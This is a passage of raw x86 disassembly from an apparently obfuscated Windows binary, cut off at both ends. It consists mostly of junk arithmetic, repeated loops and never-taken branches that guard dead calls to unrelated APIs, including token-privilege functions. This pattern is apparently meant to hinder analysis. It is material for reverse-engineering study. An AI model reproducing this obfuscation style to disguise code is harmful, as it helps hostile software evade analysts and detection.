je 0x1002e916
dec dword [ebp - 0xc8]
cmp dword [ebp - 0xc8], 0xfffffffc
jge 0x1002e8f4
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002e952
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
mov dword [ebp - 0x10], 0xb0f7
cmp dword [ebp - 0x10], eax
je 0x1002ea27
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], ebx
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0x17ab6dad
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setl bl
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, 0xdb5cabfc
sbb eax, eax
neg eax
cmp eax, 9
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x18]
jne 0x1002e9c7
cmp dword [ebp - 0x10], eax
jne 0x1002e9c7
xor ebx, ebx
mov ecx, eax
inc ebx
jmp 0x1002e9cc
xor ebx, ebx
inc ebx
mov ecx, ebx
mov eax, dword [ebp - 0x10]
sub ecx, eax
imul eax, ecx, 0x70c3
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002e9f4
push eax
push eax
push 0x2ef
push eax
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 4
pop esi
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002ea11
push eax
push 0x9ae
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x34], 0x14
jmp 0x1002eba1
push 4
mov dword [ebp - 0x2c], eax
pop esi
cmp dword [ebp - 0x2c], esi
jge 0x1002ea46
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x12ec], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002ea32
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jg 0x1002e9f9
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x12ec], 0
jne 0x1002e9f7
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002ea77
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x1002ea4f
jmp 0x1002e9f7
mov dword [ebp - 0x28], 0x6de713a4
mov dword [ebp - 0x28], 0xffffffe9
jmp 0x1002eb94
mov dword [ebp - 0x30], 0x738ab659
mov dword [ebp - 0x40], 0xc89d73ae
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002eac3
push eax
push 0x5f5
push 0x8d2
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffeb
jle 0x1002eb91
push esi
lea ecx, [ebp - 0x76c]
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x2c], eax
jmp 0x1002eaf8
push dword [ebp - 0x2c]
call fcn.100153f2
mov dword [eax], 0xc7dcd66a
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0x76c]
cmp dword [ebp - 0x2c], esi
jl 0x1002eae7
push 2
call fcn.100153f2
mov ecx, dword [ebp - 0x34]
xor edx, edx
cmp ecx, 0xfffffffe
setge dl
imul edx, dword [ebp - 0x28]
cmp dword [eax], edx
je 0x1002eb28
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002eb2a
mov edx, ebx
jmp 0x1002eb2c
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, 0x79ae4f78
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, ebx
setge cl
sub ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x30]
jl 0x1002eb63
push 2
lea ecx, [ebp - 0x76c]
call fcn.100153f2
push 3
lea ecx, [ebp - 0x76c]
call fcn.100153f2
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x76c]
mov byte [ebp - 4], 0xa
call fcn.100153d6
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffeb
jg 0x1002ead0
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
jne 0x1002ea98
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe8
jle 0x1002ea85
push dword [ebp - 0x54]
lea ecx, [ebp - 0x9d0]
call fcn.100153f2
cmp dword [eax], 0
jne 0x1002ec11
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1002ec0b
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x8f9c25b0
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002ebef
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x49c], 2
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002ebd7
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002ec02
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
xor eax, eax
dec dword [ebp - 0x49c]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jle 0x1002ebc5
lea ecx, [ebp - 0xb80]
mov byte [ebp - 4], 6
call fcn.100153d6
dec dword [ebp - 0x54]
push 2
pop esi
jns 0x1002e566
or eax, 0xffffffff
lea ecx, [ebp - 0x9d0]
mov dword [ebp - 4], eax
call fcn.100153d6
xor eax, eax
mov dword [ebp - 0x18], 0xebaeef20
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002ec62
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xcec], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002ec4e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002ecbf
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002ec9e
push 0xf62
push 0x194e
push 0x1a04
push 0x1211
push 0xd02
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002ecba
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1002ec6a
or eax, 0xffffffff
lea ecx, [ebp - 0xbd4]
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], eax
push 4
mov dword [ebp - 0x2d8], eax
pop eax
push eax
call fcn.10015351
mov dword [ebp - 4], 0xe
or ecx, 0xffffffff
mov dword [ebp - 0x48], 0x7a81a82e
xor eax, eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002ed36
push dword [ebp - 0x10]
lea ecx, [ebp - 0xbd4]
call fcn.100153f2
push 4
mov dword [eax], 0x8628405c
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], eax
jl 0x1002ed12
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x10], eax
jmp 0x1002ed48
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x42c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002ed3b
mov eax, dword [ebp - 0x2d8]
lea ecx, [ebp - 0xbd4]
push esi
call fcn.100153f2
xor edx, edx
push 3
pop ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x2e4]
cmp eax, ecx
mov eax, dword [ebp - 0x2dc]
setle dl
xor ecx, ecx
cmp eax, edx
push 4
setle cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x2d8]
mov ecx, dword [ebp - 0x2d8]
mov eax, dword [ebp - 0x2d8]
cmp ecx, eax
setg dl
xor ecx, ecx
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
cmp eax, 0x33147f59
mov eax, dword [ebp - 0x2d8]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2d8]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
cmp ecx, 0xb2bc
setne dl
xor eax, eax
cmp edx, 0x5800
setl al
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2d8]
pop eax
cmp dword [ebp - 0x2d8], eax
jg 0x1002ee04
xor eax, eax
cmp dword [ebp - 0x42c], eax
je 0x1002ee06
mov eax, ebx
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0xbd4]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.100153d6
push 4
pop eax
push eax
lea ecx, [ebp - 0xa30]
call fcn.10015351
push ebx
lea ecx, [ebp - 0x394]
mov dword [ebp - 4], 0xf
call fcn.10015351
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x824]
or eax, 0xffffffff
mov dword [ebp - 0x48], 0x65256810
mov dword [ebp - 0x18], eax
push esi
call fcn.10015351
mov byte [ebp - 4], 0x11
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x8fc5674f
mov dword [ebp - 0x58], 9
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002ee98
push dword [ebp - 0x24]
lea ecx, [ebp - 0x394]
call fcn.100153f2
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002ee7b
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002eeb8
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2d4], 0x46b4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002eea0
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002eedd
xor esi, esi
push dword [ebp - 0x24]
lea ecx, [ebp - 0x824]
call fcn.100153f2
mov dword [eax], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002eec2
jmp 0x1002eedf
xor esi, esi
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x394]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push esi
call fcn.100153f2
push esi
lea ecx, [ebp - 0x394]
call fcn.100153f2
push esi
lea ecx, [ebp - 0x394]
call fcn.100153f2
cmp dword [eax], esi
je 0x1002ef1c
xor eax, eax
cmp dword [ebp - 0x2d0], eax
je 0x1002ef1e
jmp 0x1002ef20
xor eax, eax
mov ebx, eax
cmp dword [ebp - 0x18], ebx
jl 0x1002ef2b
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x394]
mov eax, dword [ebp - 0x2d0]
xor ebx, ebx
push ebx
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x824]
call fcn.100153f2
mov ecx, dword [ebp - 0x48]
cmp dword [eax], ecx
lea ecx, [ebp - 0x394]
setge bl
xor eax, eax
push eax
call fcn.100153f2
cmp dword [eax], ebx
je 0x1002ef79
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1002ef7b
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x1002ef80
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
push eax
lea ecx, [ebp - 0x394]
call fcn.100153f2
mov eax, dword [eax]
add eax, esi
jne 0x1002efa4
xor esi, esi
lea ecx, [ebp - 0x824]
push esi
call fcn.100153f2
cmp dword [eax], esi
je 0x1002efa6
mov esi, ebx
xor eax, eax
lea ecx, [ebp - 0x394]
push eax
call fcn.100153f2
cmp esi, dword [eax]
jl 0x1002efc4
xor eax, eax
cmp dword [ebp - 0x2d0], eax
je 0x1002efd0
jmp 0x1002efc6
xor eax, eax
cmp dword [ebp - 0x2d0], eax
je 0x1002efd0
mov eax, ebx
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x824]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
call fcn.100153d6
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 0xf
call fcn.100153d6
mov dword [ebp - 0x1c], 0xe1e87df2
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0xeec54165
mov dword [ebp - 0x2c], eax
jmp 0x1002f01c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc4], 6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f00b
mov dword [ebp - 0xc4], 0x18
jmp 0x1002f066
mov dword [ebp - 0x34], 0xce57bf5c
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], 6
cmp dword [ebp - 0x34], 0xfffffffd
jne 0x1002f060
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jne 0x1002f060
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffffd
je 0x1002f04f
dec dword [ebp - 0xc4]
cmp dword [ebp - 0xc4], 0xfffffffc
jge 0x1002f02d
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002f08b
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x34], 0x14
jmp 0x1002f1c7
mov dword [ebp - 0x28], 0x6de713a4
mov dword [ebp - 0x28], 0xffffffe9
jmp 0x1002f1ba
mov dword [ebp - 0x30], 0x738ab659
mov dword [ebp - 0x40], 0xc89d73ae
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002f0e6
push eax
push 0x5f5
push 0x8d2
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffeb
jle 0x1002f1b7
push 4
pop esi
push esi
lea ecx, [ebp - 0x7ec]
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x2c], eax
jmp 0x1002f11e
push dword [ebp - 0x2c]
call fcn.100153f2
mov dword [eax], 0xc7dcd66a
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0x7ec]
cmp dword [ebp - 0x2c], esi
jl 0x1002f10d
push 2
call fcn.100153f2
mov ecx, dword [ebp - 0x34]
xor edx, edx
cmp ecx, 0xfffffffe
setge dl
imul edx, dword [ebp - 0x28]
cmp dword [eax], edx
je 0x1002f14e
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002f150
mov edx, ebx
jmp 0x1002f152
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, 0x79ae4f78
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, ebx
setge cl
sub ecx, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x30]
jl 0x1002f189
push 2
lea ecx, [ebp - 0x7ec]
call fcn.100153f2
push 3
lea ecx, [ebp - 0x7ec]
call fcn.100153f2
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x7ec]
mov byte [ebp - 4], 0xf
call fcn.100153d6
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffeb
jg 0x1002f0f6
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
jne 0x1002f0bb
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe8
jle 0x1002f0a8
push 4
mov dword [ebp - 0x2c], eax
pop esi
cmp dword [ebp - 0x2c], esi
jge 0x1002f1f7
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa30]
call fcn.100153f2
and dword [eax], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002f1dc
xor eax, eax
mov dword [ebp - 0x10], 0xb0f7
cmp dword [ebp - 0x10], eax
je 0x1002f29b
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x40], ebx
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0x17ab6dad
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setl bl
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, 0xdb5cabfc
sbb eax, eax
neg eax
cmp eax, 9
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
sub eax, dword [ebp - 0x18]
jne 0x1002f26c
cmp dword [ebp - 0x10], eax
jne 0x1002f26c
xor ebx, ebx
mov ecx, eax
inc ebx
jmp 0x1002f271
xor ebx, ebx
inc ebx
mov ecx, ebx
mov eax, dword [ebp - 0x10]
sub ecx, eax
imul eax, ecx, 0x70c3
mov dword [ebp - 0x40], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002f2f1
push eax
push eax
push 0x2ef
push eax
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
jmp 0x1002f2f1
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x1002f2b7
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1304], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1002f2a3
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jg 0x1002f2f3
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x1304], 0
jne 0x1002f2f1
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002f2e8
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x1002f2c0
xor eax, eax
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x10030b14
mov edi, dword [sym.imp.ADVAPI32.dll_CopySid]
jmp 0x1002f310
push 4
xor eax, eax
pop esi
mov dword [ebp - 0x54], 0xa6801fc3
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002f338
push eax
push 0x19e1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1002f355
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push ebx
lea ecx, [ebp - 0xb44]
call fcn.10015351
push esi
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x13
call fcn.10015351
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x18], ebx
push 2
pop esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x48], 0xbe92e3f9
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x2c], eax
push 4
pop eax
cmp dword [ebp - 0x2c], eax
jge 0x1002f3cb
or edi, 0xffffffff
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x560]
call fcn.100153f2
push 4
mov dword [eax], edi
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], eax
jl 0x1002f3aa
mov edi, dword [sym.imp.ADVAPI32.dll_CopySid]
push esi
lea ecx, [ebp - 0x560]
call fcn.100153f2
cmp dword [eax], 0
je 0x1002f3ef
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1002f40e
push eax
call dword [sym.imp.USER32.dll_SetCursor]
jmp 0x1002f40e
mov eax, 0xfffd
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], eax
push esi
call fcn.100153f2
mov ecx, dword [ebp - 0x48]
mov dword [eax], ecx
push esi
lea ecx, [ebp - 0x560]
call fcn.100153f2
cmp dword [eax], 0
jne 0x1002f47b
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x560]
mov eax, dword [ebp - 0x18]
push esi
call fcn.100153f2
mov ecx, dword [ebp - 0x34]
xor ebx, ebx
push esi
cmp dword [eax], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ecx
setge dl
xor eax, eax
neg edx
cmp ebx, edx
setg al
xor ebx, ebx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
lea ecx, [ebp - 0x560]
setge bl
call fcn.100153f2
mov dword [eax], ebx
mov dword [ebp - 0x48], ebx
xor ebx, ebx
mov eax, dword [ebp - 0x48]
inc ebx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x13
call fcn.100153d6
xor eax, eax
lea ecx, [ebp - 0x8b4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], 0xfffffff8
push 3
call fcn.10015351
push 4
pop esi
push esi
lea ecx, [ebp - 0x9e8]
mov byte [ebp - 4], 0x15
call fcn.10015351
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x2c], 0xff15cc7c
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0xed0bd2f2
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0xb36c
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1002f509
push dword [ebp - 0x38]
lea ecx, [ebp - 0x8b4]
call fcn.100153f2
mov dword [eax], 0xa130dfdd
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1002f4ea
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x1002f52f
push dword [ebp - 0x38]
lea ecx, [ebp - 0x9e8]
call fcn.100153f2
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x1002f511
xor eax, eax
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x8b4]
push eax
call fcn.100153f2
push 2
lea ecx, [ebp - 0x8b4]
mov dword [eax], esi
mov eax, dword [ebp - 0x10]
pop esi
push esi
call fcn.100153f2
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
push 1
cmp dword [eax], ecx
lea ecx, [ebp - 0x9e8]
setle bl
call fcn.100153f2
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
sub ecx, ebx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
inc eax
add eax, ecx
je 0x1002f589
mov eax, dword [ebp - 0x2c]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x2c], ebx
jne 0x1002f59a
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x1002f59c
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x48]
je 0x1002f5bc
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002f5be
mov eax, ebx
jmp 0x1002f5be
xor eax, eax
mov dword [ebp - 0x48], eax
xor edx, edx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setne dl
mov dword [ebp - 0x48], edx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setl dl
imul ecx, edx, 7
xor edx, edx
add ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
lea ecx, [ebp - 0x9e8]
setg dl
xor eax, eax
sub edx, 0x6f26
cmp edx, 0xbf5b
setle al
mov dword [ebp - 0x10], eax
call fcn.100153d6
lea ecx, [ebp - 0x8b4]
mov byte [ebp - 4], 0x13
call fcn.100153d6
push ebx
lea ecx, [ebp - 0x19c]
call fcn.10015351
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002f661
push dword [ebp - 0x10]
lea ecx, [ebp - 0x19c]
call fcn.100153f2
mov dword [eax], 0xf6af1124
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f643
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002f67d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdb0], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002f669
xor eax, eax
push eax
lea ecx, [ebp - 0x19c]
call fcn.100153f2
lea ecx, [ebp - 0x19c]
mov dword [eax], 0xffffffe6
xor eax, eax
push eax
call fcn.100153f2
cmp dword [eax], 0x17
jge 0x1002f89b
mov dword [ebp - 0x10], 0x5c19c5a6
mov dword [ebp - 0x48], 0xba4a2c6e
mov dword [ebp - 0x40], 0xca5e
mov dword [ebp - 0x10], 0xffffffea
jmp 0x1002f845
mov dword [ebp - 0x28], 0xb04800fa
lea ecx, [ebp - 0x684]
mov dword [ebp - 0x4c], 0xd7839892
push ebx
call fcn.10015351
xor eax, eax
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1002f710
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x684]
call fcn.100153f2
mov dword [eax], 0x22db785b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002f6f2
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002f71b
mov dword [ebp - 0x4c], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1002f715
push eax
lea ecx, [ebp - 0x684]
call fcn.100153f2
xor edi, edi
lea ecx, [ebp - 0x19c]
push edi
call fcn.100153f2
mov ecx, dword [ebp - 0x10]
xor edx, edx
cmp ecx, dword [eax]
setl dl
cmp edx, dword [ebp - 0x10]
je 0x1002f755
push edi
lea ecx, [ebp - 0x684]
call fcn.100153f2
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x19c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
push edi
call fcn.100153f2
cmp dword [eax], edi
jne 0x1002f77a
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002f77a
mov ebx, eax
cmp ebx, dword [ebp - 0x18]
je 0x1002f782
mov eax, dword [ebp - 0x48]
xor ebx, ebx
lea ecx, [ebp - 0x19c]
push ebx
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x19c]
call fcn.100153f2
push ebx
lea ecx, [ebp - 0x19c]
mov esi, eax
call fcn.100153f2
mov ecx, dword [esi]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x684]
setle bl
xor eax, eax
push eax
call fcn.100153f2
mov ecx, dword [ebp - 0x10]
mov esi, eax
xor eax, eax
cmp ebx, ecx
mov ecx, dword [ebp - 0x10]
sete al
xor edx, edx
cmp ecx, eax
setle dl
xor ecx, ecx
cmp edx, dword [esi]
setg cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
